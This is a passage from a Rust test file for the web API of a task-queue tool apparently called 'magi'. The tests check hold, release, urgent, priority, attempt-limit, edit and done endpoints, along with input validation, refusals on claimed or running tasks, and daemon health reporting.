16872        let queue = Queue::at(dir.path().join("queue"));
16873        let ui = Arc::new(Ui::new(
16874            queue.clone(),
16875            Questions::at(dir.path().join("questions")),
16876            Talks::at(dir.path().join("talks")),
16877            dir.path().join("runs"),
16878            dir.path().to_path_buf(),
16879            dir.path().to_path_buf(),
16880        ));
16881        let mut t = Task::new(
16882            "recover".into(),
16883            "Inspect".into(),
16884            PathBuf::from("."),
16885            Source::Human,
16886        );
16887        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16888        t.start("run-A".into());
16889        t.release_operator("choice", Some("resume-question"));
16890        t.resume_override = Some(crate::queue::OperatorResume {
16891            question_id: "resume-question".into(),
16892            at: jiff::Timestamp::now(),
16893            conductor_rehold: None,
16894            forced: true,
16895            pinned_run: Some("run-A".into()),
16896        });
16897        t.hold_machine(Some("inspection pending".into()));
16898        t.edit("recover".into(), "Reuse approved PR head".into())
16899            .unwrap();
16900        queue.put(&mut t).unwrap();
16901        let mut cli = t.clone();
16902        cli.release_operator("cli", None);
16903        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16904        let reloaded = queue.get(&t.id).unwrap();
16905        assert_eq!(reply.task.status, TaskStatus::Queued);
16906        assert!(reloaded.resume_override.is_none());
16907        assert_eq!(reloaded.answers, t.answers);
16908        let mut web = reloaded.resumption.unwrap();
16909        let cli = cli.resumption.unwrap();
16910        assert_eq!(web.source, "web");
16911        web.source = cli.source.clone();
16912        web.at = cli.at;
16913        assert_eq!(web, cli);
16914    }
16915
16916    #[tokio::test]
16917    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16918        let f = Fixture::start().await;
16919        let queue = f.queue();
16920        let mut task = Task::new(
16921            "spent".to_owned(),
16922            "Try again".to_owned(),
16923            PathBuf::from("/repo/magi"),
16924            Source::Human,
16925        );
16926        task.start("20260902-140502-bbbb".to_owned());
16927        task.fail("agent gave up", 9);
16928        queue.put(&mut task).expect("file the task");
16929
16930        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16931        assert_eq!(held.status, 200);
16932        assert_eq!(held.json()["status_str"], "held");
16933
16934        let released = f
16935            .post(&format!("/api/queue/{}/release", task.id), None)
16936            .await;
16937        assert_eq!(released.status, 200);
16938        assert_eq!(released.json()["status_str"], "queued");
16939        assert_eq!(released.json()["resumption"]["source"], "web");
16940        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16941        let mut cli = task.clone();
16942        cli.release_operator("cli", None);
16943        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16944        let cli = cli.resumption.unwrap();
16945        assert_eq!(web.instruction, cli.instruction);
16946        assert_eq!(web.answers_through, cli.answers_through);
16947        assert_eq!(web.runs_through, cli.runs_through);
16948        assert_eq!(web.cleared_reason, cli.cleared_reason);
16949        assert_eq!(
16950            released.json()["attempts"],
16951            0,
16952            "release is a real second chance, not an instant re-hold"
16953        );
16954        assert_eq!(
16955            queue.get(&task.id).expect("reload").status,
16956            TaskStatus::Queued,
16957            "the change is on disk, not only in the reply"
16958        );
16959        assert!(
16960            !f.home
16961                .path()
16962                .join("queue")
16963                .join(format!("{}.lock", task.id))
16964                .exists(),
16965            "the claim the mutation took is released again"
16966        );
16967    }
16968
16969    #[tokio::test]
16970    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16971        let f = Fixture::start().await;
16972        let queue = f.queue();
16973        let mut task = Task::new(
16974            "busy".to_owned(),
16975            "Running right now".to_owned(),
16976            PathBuf::from("/repo/magi"),
16977            Source::Human,
16978        );
16979        queue.put(&mut task).expect("file the task");
16980        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16981
16982        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16983
16984        assert_eq!(res.status, 409);
16985        assert_eq!(
16986            queue.get(&task.id).expect("reload").status,
16987            TaskStatus::Queued,
16988            "the refused hold changed nothing"
16989        );
16990    }
16991
16992    #[tokio::test]
16993    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16994        let f = Fixture::start().await;
16995        let queue = f.queue();
16996        let mut task = Task::new(
16997            "waiting on the migration".to_owned(),
16998            "Do the thing".to_owned(),
16999            PathBuf::from("/repo/magi"),
17000            Source::Human,
17001        );
17002        queue.put(&mut task).expect("file the task");
17003
17004        let held = f
17005            .post(
17006                &format!("/api/queue/{}/hold", task.id),
17007                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17008            )
17009            .await;
17010        assert_eq!(held.status, 200, "{}", held.body);
17011        assert_eq!(held.json()["status_str"], "held");
17012        assert_eq!(
17013            held.json()["hold_reason"],
17014            "waiting for 20260101-000000-aaaa to land"
17015        );
17016
17017        let listed = f.get("/api/queue").await.json();
17018        assert_eq!(
17019            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17020            "the card reads the reason off the same list route"
17021        );
17022
17023        // A hold with no body at all must keep working - most holds have no
17024        // reason to give.
17025        let mut plain = Task::new(
17026            "no reason given".to_owned(),
17027            "Do another thing".to_owned(),
17028            PathBuf::from("/repo/magi"),
17029            Source::Human,
17030        );
17031        queue.put(&mut plain).expect("file the task");
17032        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17033        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17034        assert!(held_plain.json()["hold_reason"].is_null());
17035
17036        let released = f
17037            .post(&format!("/api/queue/{}/release", task.id), None)
17038            .await;
17039        assert_eq!(released.status, 200);
17040        assert!(
17041            released.json()["hold_reason"].is_null(),
17042            "a release must clear the reason so the next hold does not inherit it"
17043        );
17044    }
17045
17046    #[test]
17047    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17048        for urgent in [true, false] {
17049            let body: UrgentBody =
17050                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17051            assert_eq!(body.urgent, urgent);
17052        }
17053        for input in [
17054            r#"{}"#,
17055            r#"{"urgent":null}"#,
17056            r#"{"urgent":"true"}"#,
17057            r#"{"urgent":1}"#,
17058            r#"{"urgent":true,"extra":false}"#,
17059        ] {
17060            assert!(
17061                serde_json::from_str::<UrgentBody>(input).is_err(),
17062                "{input}"
17063            );
17064        }
17065    }
17066
17067    #[tokio::test]
17068    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17069        let home = TempDir::new().unwrap();
17070        let q = Queue::at(home.path().join("queue"));
17071        let ui = Arc::new(Ui::new(
17072            q.clone(),
17073            Questions::at(home.path().join("questions")),
17074            Talks::at(home.path().join("talks")),
17075            home.path().join("runs"),
17076            home.path().into(),
17077            home.path().into(),
17078        ));
17079        let mut task = Task::new(
17080            "urgent handler".into(),
17081            "keep".into(),
17082            home.path().into(),
17083            Source::Human,
17084        );
17085        for status in [TaskStatus::Queued, TaskStatus::Held] {
17086            task.status = status;
17087            q.put(&mut task).unwrap();
17088            for urgent in [true, true, false, false] {
17089                let saved = queue_urgent(
17090                    State(Arc::clone(&ui)),
17091                    Path(task.short().into()),
17092                    Ok(Json(UrgentBody { urgent })),
17093                )
17094                .await
17095                .unwrap();
17096                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17097                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17098            }
17099        }
17100        task.status = TaskStatus::Queued;
17101        q.put(&mut task).unwrap();
17102        let claim = q.claim(&task.id).unwrap();
17103        let error = queue_urgent(
17104            State(Arc::clone(&ui)),
17105            Path(task.id.clone()),
17106            Ok(Json(UrgentBody { urgent: true })),
17107        )
17108        .await
17109        .unwrap_err();
17110        assert_eq!(error.status, StatusCode::CONFLICT);
17111        assert!(error.message.contains("released"));
17112        drop(claim);
17113        for status in [
17114            TaskStatus::Running,
17115            TaskStatus::Done,
17116            TaskStatus::Failed,
17117            TaskStatus::Blocked,
17118            TaskStatus::Parked,
17119        ] {
17120            task.status = status;
17121            q.put(&mut task).unwrap();
17122            let error = queue_urgent(
17123                State(Arc::clone(&ui)),
17124                Path(task.id.clone()),
17125                Ok(Json(UrgentBody { urgent: false })),
17126            )
17127            .await
17128            .unwrap_err();
17129            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17130            assert!(error.message.contains(status.as_str()));
17131        }
17132    }
17133
17134    #[tokio::test]
17135    async fn urgent_api_updates_preserves_and_validates_tasks() {
17136        let f = Fixture::start().await;
17137        let q = f.queue();
17138        let mut t = Task::new(
17139            "urgent API".into(),
17140            "unchanged".into(),
17141            PathBuf::from("/repo/magi"),
17142            Source::Human,
17143        );
17144        t.attempts = 2;
17145        t.priority = 9;
17146        t.interrupt = true;
17147        t.hold_reason = Some("waiting for approval".into());
17148        for status in [TaskStatus::Queued, TaskStatus::Held] {
17149            t.status = status;
17150            q.put(&mut t).unwrap();
17151            for urgent in [true, true, false, false] {
17152                let response = f
17153                    .post(
17154                        &format!("/api/queue/{}/urgent", t.short()),
17155                        Some(&format!("{{\"urgent\":{urgent}}}")),
17156                    )
17157                    .await;
17158                assert_eq!(response.status, 200, "{}", response.body);
17159                assert_eq!(response.json()["urgent"], urgent);
17160                let saved = q.get(&t.id).unwrap();
17161                let mut before = serde_json::to_value(&t).unwrap();
17162                let mut after = serde_json::to_value(saved).unwrap();
17163                before["urgent"] = urgent.into();
17164                before.as_object_mut().unwrap().remove("updated_at");
17165                after.as_object_mut().unwrap().remove("updated_at");
17166                assert_eq!(after, before);
17167            }
17168        }
17169        let route = format!("/api/queue/{}/urgent", t.id);
17170        for body in [
17171            r#"{}"#,
17172            r#"{"urgent":null}"#,
17173            r#"{"urgent":"true"}"#,
17174            r#"{"urgent":1}"#,
17175            r#"{"urgent":true,"extra":false}"#,
17176            "{",
17177        ] {
17178            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17179        }
17180        t.status = TaskStatus::Queued;
17181        q.put(&mut t).unwrap();
17182        let claim = q.claim(&t.id).unwrap();
17183        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17184        assert_eq!(response.status, 409, "{}", response.body);
17185        assert!(!q.get(&t.id).unwrap().urgent);
17186        drop(claim);
17187        for status in [
17188            TaskStatus::Running,
17189            TaskStatus::Done,
17190            TaskStatus::Failed,
17191            TaskStatus::Blocked,
17192            TaskStatus::Parked,
17193        ] {
17194            t.status = status;
17195            q.put(&mut t).unwrap();
17196            for urgent in [true, false] {
17197                let response = f
17198                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17199                    .await;
17200                assert_eq!(response.status, 400, "{}", response.body);
17201                assert!(response.body.contains(status.as_str()));
17202                assert!(response.body.contains("queued or held"));
17203                assert!(!q.get(&t.id).unwrap().urgent);
17204            }
17205        }
17206        assert_eq!(
17207            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17208                .await
17209                .status,
17210            404
17211        );
17212    }
17213
17214    #[tokio::test]
17215    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17216        let f = Fixture::start().await;
17217        let queue = f.queue();
17218        let mut older = Task::new(
17219            "filed first".to_owned(),
17220            "x".to_owned(),
17221            PathBuf::from("/repo/magi"),
17222            Source::Human,
17223        );
17224        older.id = "20260101-000001-aaaa".to_owned();
17225        let mut newer = Task::new(
17226            "filed second".to_owned(),
17227            "x".to_owned(),
17228            PathBuf::from("/repo/magi"),
17229            Source::Human,
17230        );
17231        newer.id = "20260101-000002-bbbb".to_owned();
17232        queue.put(&mut older).expect("file older");
17233        queue.put(&mut newer).expect("file newer");
17234
17235        // Equal priority: the newer task leads, the same order the old
17236        // newest-first `list()` already gave every equal-priority queue.
17237        let before = f.get("/api/queue").await.json();
17238        assert_eq!(before[0]["id"], newer.id);
17239        assert_eq!(before[1]["id"], older.id);
17240
17241        // Raising the *older* task is the meaningful case: it can only lead
17242        // now because its priority says so, not because it happens to be
17243        // newest.
17244        let raised = f
17245            .post(
17246                &format!("/api/queue/{}/priority", older.id),
17247                Some(r#"{"priority":10}"#),
17248            )
17249            .await;
17250        assert_eq!(raised.status, 200, "{}", raised.body);
17251        assert_eq!(raised.json()["priority"], 10);
17252
17253        let after = f.get("/api/queue").await.json();
17254        let names: Vec<&str> = after
17255            .as_array()
17256            .unwrap()
17257            .iter()
17258            .map(|t| t["id"].as_str().unwrap())
17259            .collect();
17260        // Highest priority first, which is the order next_runnable and
17261        // `magi task list` both use - GET /api/queue must agree with it
17262        // immediately, not just once the loop claims the task.
17263        assert_eq!(names[0], older.id, "the raised task now sorts first");
17264    }
17265
17266    #[tokio::test]
17267    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17268        let dir = TempDir::new().unwrap();
17269        let q = Queue::at(dir.path().join("queue"));
17270        let ui = Arc::new(Ui::new(
17271            q.clone(),
17272            Questions::at(dir.path().join("questions")),
17273            Talks::at(dir.path().join("talks")),
17274            dir.path().join("runs"),
17275            dir.path().to_path_buf(),
17276            dir.path().to_path_buf(),
17277        ));
17278        let mut t = Task::new(
17279            "budget".into(),
17280            "keep".into(),
17281            dir.path().into(),
17282            Source::Human,
17283        );
17284        t.attempts = 2;
17285        t.runs.push("prior-run".into());
17286        t.hold_manual(Some("waiting".into()));
17287        q.put(&mut t).unwrap();
17288        let change = |value| {
17289            queue_attempt_limit(
17290                State(ui.clone()),
17291                Path(t.id.clone()),
17292                Ok(Json(AttemptLimitBody {
17293                    attempt_limit: value,
17294                })),
17295            )
17296        };
17297        for value in [
17298            serde_json::json!(3),
17299            serde_json::Value::Null,
17300            serde_json::json!(1),
17301        ] {
17302            let response = change(value.clone()).await.unwrap();
17303            assert_eq!(
17304                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17305                value
17306            );
17307            let saved = q.get(&t.id).unwrap();
17308            assert_eq!(
17309                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17310                value
17311            );
17312            assert_eq!(saved.status, TaskStatus::Held);
17313            assert_eq!(saved.attempts, t.attempts);
17314            assert_eq!(saved.runs, t.runs);
17315            assert_eq!(saved.hold_reason, t.hold_reason);
17316            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17317                .await
17318                .unwrap()
17319                .0;
17320            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17321            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17322            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17323            assert_eq!(outcome.max_attempts, detail.max_attempts);
17324        }
17325        for value in [
17326            serde_json::json!(0),
17327            serde_json::json!(-1),
17328            serde_json::json!(1.5),
17329            serde_json::json!("3"),
17330            serde_json::json!(true),
17331        ] {
17332            assert_eq!(
17333                change(value).await.err().unwrap().status,
17334                StatusCode::BAD_REQUEST
17335            );
17336        }
17337        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17338        let claim = q.claim(&t.id).unwrap();
17339        assert_eq!(
17340            change(serde_json::json!(4)).await.err().unwrap().status,
17341            StatusCode::CONFLICT
17342        );
17343        drop(claim);
17344        for status in [
17345            TaskStatus::Running,
17346            TaskStatus::Done,
17347            TaskStatus::Failed,
17348            TaskStatus::Blocked,
17349            TaskStatus::Parked,
17350        ] {
17351            let mut stored = q.get(&t.id).unwrap();
17352            stored.status = status;
17353            q.put(&mut stored).unwrap();
17354            assert_eq!(
17355                change(serde_json::json!(4)).await.err().unwrap().status,
17356                StatusCode::BAD_REQUEST
17357            );
17358            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17359        }
17360        let mut stored = q.get(&t.id).unwrap();
17361        stored.status = TaskStatus::Queued;
17362        q.put(&mut stored).unwrap();
17363        let _ = change(serde_json::Value::Null).await.unwrap();
17364        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17365    }
17366
17367    #[tokio::test]
17368    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17369        let dir = TempDir::new().unwrap();
17370        let repo = dir.path().join("repo");
17371        std::fs::create_dir(&repo).unwrap();
17372        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17373        let q = Queue::at(dir.path().join("queue"));
17374        let ui = Arc::new(Ui::new(
17375            q.clone(),
17376            Questions::at(dir.path().join("questions")),
17377            Talks::at(dir.path().join("talks")),
17378            dir.path().join("runs"),
17379            dir.path().to_path_buf(),
17380            repo.clone(),
17381        ));
17382        let mut t = Task::new(
17383            "seats".into(),
17384            "keep instruction".into(),
17385            repo,
17386            Source::Human,
17387        );
17388        t.runs.push("prior-run".into());
17389        t.hold_manual(Some("waiting".into()));
17390        q.put(&mut t).unwrap();
17391        let change = |count| {
17392            queue_implementers(
17393                State(ui.clone()),
17394                Path(t.id.clone()),
17395                Ok(Json(ImplementersBody {
17396                    implementers: count,
17397                })),
17398            )
17399        };
17400        for count in [2, 1, 2] {
17401            let response = change(count).await.unwrap();
17402            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17403            let saved = q.get(&t.id).unwrap();
17404            assert_eq!(saved.implementers(), Some(usize::from(count)));
17405            assert_eq!(saved.runs, t.runs);
17406            assert_eq!(saved.instruction, t.instruction);
17407        }
17408        for count in [0, 4] {
17409            assert_eq!(
17410                change(count).await.err().unwrap().status,
17411                StatusCode::BAD_REQUEST
17412            );
17413        }
17414        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17415        let claim = q.claim(&t.id).unwrap();
17416        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17417        drop(claim);
17418        for status in [
17419            TaskStatus::Running,
17420            TaskStatus::Done,
17421            TaskStatus::Failed,
17422            TaskStatus::Blocked,
17423            TaskStatus::Parked,
17424        ] {
17425            let mut stored = q.get(&t.id).unwrap();
17426            stored.status = status;
17427            q.put(&mut stored).unwrap();
17428            assert_eq!(
17429                change(1).await.err().unwrap().status,
17430                StatusCode::BAD_REQUEST
17431            );
17432            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17433        }
17434    }
17435
17436    #[tokio::test]
17437    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17438        let f = Fixture::start().await;
17439        let queue = f.queue();
17440        let mut task = Task::new(
17441            "in flight".to_owned(),
17442            "x".to_owned(),
17443            PathBuf::from("/repo/magi"),
17444            Source::Human,
17445        );
17446        task.start("20260902-140502-bbbb".to_owned());
17447        queue.put(&mut task).expect("file the task");
17448
17449        let res = f
17450            .post(
17451                &format!("/api/queue/{}/priority", task.id),
17452                Some(r#"{"priority":9}"#),
17453            )
17454            .await;
17455        assert_eq!(res.status, 400, "{}", res.body);
17456        assert!(
17457            res.json()["error"]
17458                .as_str()
17459                .is_some_and(|e| e.contains("running")),
17460            "{}",
17461            res.body
17462        );
17463        assert_eq!(
17464            queue.get(&task.id).expect("reload").priority,
17465            0,
17466            "the refused write must not partially apply"
17467        );
17468    }
17469
17470    #[tokio::test]
17471    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17472        let f = Fixture::start().await;
17473        let queue = f.queue();
17474        let mut task = Task::new(
17475            "old title".to_owned(),
17476            "old instruction".to_owned(),
17477            PathBuf::from("/repo/magi"),
17478            Source::Agent {
17479                run: "20260101-000000-beef".to_owned(),
17480                node: "implement".to_owned(),
17481            },
17482        );
17483        task.runs.push("20260101-000000-beef".to_owned());
17484        queue.put(&mut task).expect("file the task");
17485        let created_at = task.created_at;
17486
17487        let edited = f
17488            .post(
17489                &format!("/api/queue/{}/edit", task.id),
17490                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17491            )
17492            .await;
17493        assert_eq!(edited.status, 200, "{}", edited.body);
17494        let body = edited.json();
17495        assert_eq!(body["title"], "new title");
17496        assert_eq!(body["instruction"], "new instruction");
17497        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17498        assert_eq!(body["created_at"], created_at.to_string());
17499        assert_eq!(
17500            body["source"]["kind"], "agent",
17501            "editing a task an agent filed must not turn it human: {body}"
17502        );
17503        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17504
17505        let reloaded = queue.get(&task.id).expect("reload");
17506        assert_eq!(reloaded.title, "new title");
17507        assert_eq!(reloaded.instruction, "new instruction");
17508    }
17509
17510    #[tokio::test]
17511    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17512        // The judge is an agent now: a repo whose only agent answers
17513        // "duplicate" stands in for it, so the refusal is the judge's.
17514        let tmp = TempDir::new().expect("tempdir");
17515        let repo = tmp.path().join("repo");
17516        std::fs::create_dir_all(&repo).expect("repo dir");
17517        let judge = MOCK_AGENT_TOML.replace(
17518            "printf ok",
17519            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17520        );
17521        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17522        let f = Fixture::with_repo(repo.clone()).await;
17523        let queue = f.queue();
17524        let mut owner = Task::new(
17525            "owner".to_owned(),
17526            "review it".to_owned(),
17527            repo.clone(),
17528            Source::Human,
17529        );
17530        owner.review_branch = Some("magi/ab12/A".to_owned());
17531        queue.put(&mut owner).expect("file the owner");
17532        let mut task = Task::new(
17533            "draft".to_owned(),
17534            "old".to_owned(),
17535            repo.clone(),
17536            Source::Human,
17537        );
17538        queue.put(&mut task).expect("file the draft");
17539        let url = format!("/api/queue/{}/edit", task.id);
17540
17541        let refused = f
17542            .post(
17543                &url,
17544                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17545            )
17546            .await;
17547        assert_eq!(refused.status, 409, "{}", refused.body);
17548        let msg = refused.json()["error"]
17549            .as_str()
17550            .unwrap_or_default()
17551            .to_owned();
17552        assert!(
17553            msg.contains("magi/ab12/A") && msg.contains("force"),
17554            "{msg}"
17555        );
17556        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17557
17558        let forced = f
17559            .post(
17560                &url,
17561                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17562            )
17563            .await;
17564        assert_eq!(forced.status, 200, "{}", forced.body);
17565    }
17566
17567    #[tokio::test]
17568    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17569        let f = Fixture::start().await;
17570        let queue = f.queue();
17571        let mut task = Task::new(
17572            "in flight".to_owned(),
17573            "do not touch".to_owned(),
17574            PathBuf::from("/repo/magi"),
17575            Source::Human,
17576        );
17577        task.start("20260902-140502-bbbb".to_owned());
17578        queue.put(&mut task).expect("file the task");
17579
17580        let res = f
17581            .post(
17582                &format!("/api/queue/{}/edit", task.id),
17583                Some(r#"{"title":"x","instruction":"y"}"#),
17584            )
17585            .await;
17586        assert_eq!(res.status, 400, "{}", res.body);
17587        assert!(
17588            res.json()["error"]
17589                .as_str()
17590                .is_some_and(|e| e.contains("running")),
17591            "{}",
17592            res.body
17593        );
17594        assert_eq!(
17595            queue.get(&task.id).expect("reload").instruction,
17596            "do not touch",
17597            "the refused edit must not change the file"
17598        );
17599    }
17600
17601    #[tokio::test]
17602    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17603        let f = Fixture::start().await;
17604        let queue = f.queue();
17605        let mut task = Task::new(
17606            "busy".to_owned(),
17607            "Running right now".to_owned(),
17608            PathBuf::from("/repo/magi"),
17609            Source::Human,
17610        );
17611        queue.put(&mut task).expect("file the task");
17612        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17613
17614        let priority = f
17615            .post(
17616                &format!("/api/queue/{}/priority", task.id),
17617                Some(r#"{"priority":9}"#),
17618            )
17619            .await;
17620        assert_eq!(priority.status, 409, "{}", priority.body);
17621
17622        let edit = f
17623            .post(
17624                &format!("/api/queue/{}/edit", task.id),
17625                Some(r#"{"title":"x","instruction":"y"}"#),
17626            )
17627            .await;
17628        assert_eq!(edit.status, 409, "{}", edit.body);
17629    }
17630
17631    #[tokio::test]
17632    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17633        let f = Fixture::start().await;
17634        let queue = f.queue();
17635        let mut task = Task::new(
17636            "shipped by hand".to_owned(),
17637            "merged outside the loop".to_owned(),
17638            PathBuf::from("/repo/magi"),
17639            Source::Agent {
17640                run: "20260101-000000-b455".to_owned(),
17641                node: "implement".to_owned(),
17642            },
17643        );
17644        task.runs.push("20260101-000000-b455".to_owned());
17645        task.runs.push("20260101-000000-9af4".to_owned());
17646        queue.put(&mut task).expect("file the task");
17647        let created_at = task.created_at;
17648
17649        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17650        assert_eq!(done.status, 200, "{}", done.body);
17651        assert_eq!(done.json()["status_str"], "done");
17652
17653        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17654        assert_eq!(
17655            reloaded.runs,
17656            ["20260101-000000-b455", "20260101-000000-9af4"]
17657        );
17658        assert_eq!(
17659            reloaded.source,
17660            Source::Agent {
17661                run: "20260101-000000-b455".to_owned(),
17662                node: "implement".to_owned(),
17663            }
17664        );
17665        assert_eq!(reloaded.created_at, created_at);
17666    }
17667
17668    #[tokio::test]
17669    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17670        // `done` is allowed on any status, including `held`, with no release
17671        // in between - so a task held for a reason and then closed directly
17672        // must not keep reading as "waiting on" it afterwards, on its card or
17673        // in `magi task show`.
17674        let f = Fixture::start().await;
17675        let queue = f.queue();
17676        let mut task = Task::new(
17677            "landed while held".to_owned(),
17678            "x".to_owned(),
17679            PathBuf::from("/repo/magi"),
17680            Source::Human,
17681        );
17682        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17683        queue.put(&mut task).expect("file the held task");
17684
17685        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17686        assert_eq!(done.status, 200, "{}", done.body);
17687        assert_eq!(done.json()["status_str"], "done");
17688        assert!(
17689            done.json()["hold_reason"].is_null(),
17690            "a done task cannot still be waiting on something: {}",
17691            done.body
17692        );
17693    }
17694
17695    #[tokio::test]
17696    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17697        // `queue_done` is the phone's way to close a task the loop never
17698        // settled itself - after confirming a manual GitHub merge, say - and
17699        // that is just as much "this task's story is over" as the loop's own
17700        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17701        let f = Fixture::start().await;
17702        let queue = f.queue();
17703        let runs = f.runs();
17704        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17705        // The last attempt has to have actually landed for the earlier one
17706        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17707        // for the case where it didn't.
17708        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17709
17710        let mut task = Task::new(
17711            "landed by hand".to_owned(),
17712            "x".to_owned(),
17713            PathBuf::from("/repo/magi"),
17714            Source::Human,
17715        );
17716        task.runs.push("20260101-000000-doa1".to_owned());
17717        task.runs.push("20260101-000000-doa2".to_owned());
17718        queue.put(&mut task).expect("file the task");
17719
17720        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17721        assert_eq!(done.status, 200, "{}", done.body);
17722
17723        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17724            .expect("run still on disk under this fixture's own home");
17725        assert_eq!(
17726            reloaded_run.status,
17727            RunStatus::Superseded,
17728            "closing the task by hand must relabel the earlier blocked attempt exactly \
17729             like the loop's own settle path does"
17730        );
17731    }
17732
17733    #[tokio::test]
17734    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17735        // Closing a task by hand is allowed from any status, including one
17736        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17737        // manual merge the loop never watched, say. Nothing here is provably
17738        // why the task is done, so nothing earlier gets relabelled either.
17739        let f = Fixture::start().await;
17740        let queue = f.queue();
17741        let runs = f.runs();
17742        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17743        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17744
17745        let mut task = Task::new(
17746            "closed with nothing actually landed".to_owned(),
17747            "x".to_owned(),
17748            PathBuf::from("/repo/magi"),
17749            Source::Human,
17750        );
17751        task.runs.push("20260101-000000-dob1".to_owned());
17752        task.runs.push("20260101-000000-dob2".to_owned());
17753        queue.put(&mut task).expect("file the task");
17754
17755        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17756        assert_eq!(done.status, 200, "{}", done.body);
17757
17758        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17759            .expect("run still on disk under this fixture's own home");
17760        assert_eq!(
17761            reloaded_run.status,
17762            RunStatus::Blocked,
17763            "the last recorded attempt never landed, so the earlier one must not be \
17764             relabelled as superseded by it"
17765        );
17766    }
17767
17768    #[tokio::test]
17769    async fn unknown_ids_are_json_not_found_on_both_stores() {
17770        let f = Fixture::start().await;
17771
17772        let run = f.get("/api/runs/nosuchrun").await;
17773        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17774
17775        assert_eq!(run.status, 404);
17776        assert_eq!(task.status, 404);
17777        assert!(
17778            run.json()["error"]
17779                .as_str()
17780                .is_some_and(|e| e.contains("run")),
17781            "the error names what was not found: {}",
17782            run.body
17783        );
17784        assert!(
17785            task.json()["error"]
17786                .as_str()
17787                .is_some_and(|e| e.contains("task")),
17788            "the error names what was not found: {}",
17789            task.body
17790        );
17791    }
17792
17793    #[tokio::test]
17794    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17795        let f = Fixture::start().await;
17796
17797        let missing = f.get("/api/health").await.json();
17798        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17799
17800        write_daemon(
17801            f.home.path(),
17802            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17803        );
17804        let stale = f.get("/api/health").await.json();
17805        assert_eq!(
17806            stale["daemon"]["running"], false,
17807            "a minute without a heartbeat is a dead daemon, not a busy one"
17808        );
17809        assert!(
17810            stale["daemon"]["stale_for_secs"]
17811                .as_i64()
